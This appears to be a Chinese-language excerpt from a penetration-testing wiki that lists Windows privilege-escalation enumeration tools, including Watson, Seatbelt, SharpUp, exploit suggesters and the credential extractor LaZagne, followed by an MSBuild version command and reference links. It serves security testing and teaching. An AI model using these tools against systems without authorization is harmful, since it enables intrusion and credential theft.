WindowsEnum – 基础的 Windows 提权枚举Sherlock ~~~~ – 搜索已知提权漏洞(已弃用,改用 Watson)WINspect – 本地检查 (需要 Admin 权限)
Exe
Watson – 搜索已知提权漏洞(需要用 VisualStudio 编译) (precompiled)
SeatBelt – 枚举主机以查找配置错误(更偏向信息收集工具而非纯提权)(需要编译) (precompiled)
LaZagne – 从大量软件中提取凭据(GitHub 上有预编译 exe)
SharpUP – PowerUp 的 C# 移植版Beroot ~~~~ – 检查配置错误(GitHub 上有预编译可执行文件)。不推荐。在 Win10 上表现不佳。Windows-Privesc-Check – 检查可能的配置错误(基于 python 的 exe)。不推荐。在 Win10 上表现不佳。
Bat
winPEASbat – 基于该帖创建的工具(不需要 accesschk 即可正常工作,但可以使用它)。
Local
Windows-Exploit-Suggester – 读取 systeminfo 的输出并推荐可用漏洞利用(本地 python)
Windows Exploit Suggester Next Generation – 读取 systeminfo 的输出并推荐可用漏洞利用(本地 python)
Meterpreter
multi/recon/local_exploit_suggestor
你需要使用正确版本的 .NET 编译该项目(see this)。要查看受害主机上安装的 .NET 版本,你可以执行:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
参考资料
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
Tip
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